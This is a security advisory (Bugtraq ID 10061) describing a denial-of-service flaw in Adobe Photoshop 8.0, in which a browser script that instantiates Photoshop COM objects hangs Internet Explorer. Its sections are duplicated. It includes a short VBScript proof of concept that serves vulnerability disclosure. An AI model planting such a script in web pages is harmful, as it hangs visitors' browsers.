Adobe Photoshop COM Objects Denial of Service Vulnerability
BID:10061
Info
Adobe Photoshop COM Objects Denial of Service Vulnerability
| Bugtraq ID: | 10061 |
| Class: | Design Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 06 2004 12:00AM |
| Updated: | Apr 06 2004 12:00AM |
| Credit: | Discovery is credited to Rafel Ivgi, The-Insider <[email protected]>. |
| Vulnerable: |
Adobe Photoshop 8.0 |
| Not Vulnerable: | |
Discussion
Adobe Photoshop COM Objects Denial of Service Vulnerability
It has been reported that Adobe Photoshop may be prone to a denial of service vulnerability that may crash an instance of Internet Explorer. An attacker can exploit this issue by creating a script that attempts to create a COM object and enticing a user to execute the script in their browser. When the user executes the script via Internet Explorer, the Internet Explorer window hangs leading to a denial of service in the browser.
Adobe Photoshop 8.0 is reported to be prone to this issue, however, it is possible that other versions are affected as well.
It has been reported that Adobe Photoshop may be prone to a denial of service vulnerability that may crash an instance of Internet Explorer. An attacker can exploit this issue by creating a script that attempts to create a COM object and enticing a user to execute the script in their browser. When the user executes the script via Internet Explorer, the Internet Explorer window hangs leading to a denial of service in the browser.
Adobe Photoshop 8.0 is reported to be prone to this issue, however, it is possible that other versions are affected as well.
Exploit / POC
Adobe Photoshop COM Objects Denial of Service Vulnerability
The following proof of concept has been provided:
<script language=vbscript>
Dim cooler
Set cooler = CreateObject("Photoshop.Application.8" )
</script>
<script language=vbscript>
dim cooler
Set cooler = CreateObject("Photoshop.PhotoCDOpenOptions.8" )
</script>
The following proof of concept has been provided:
<script language=vbscript>
Dim cooler
Set cooler = CreateObject("Photoshop.Application.8" )
</script>
<script language=vbscript>
dim cooler
Set cooler = CreateObject("Photoshop.PhotoCDOpenOptions.8" )
</script>
Solution / Fix
Adobe Photoshop COM Objects Denial of Service Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Adobe Photoshop COM Objects Denial of Service Vulnerability
References:
References: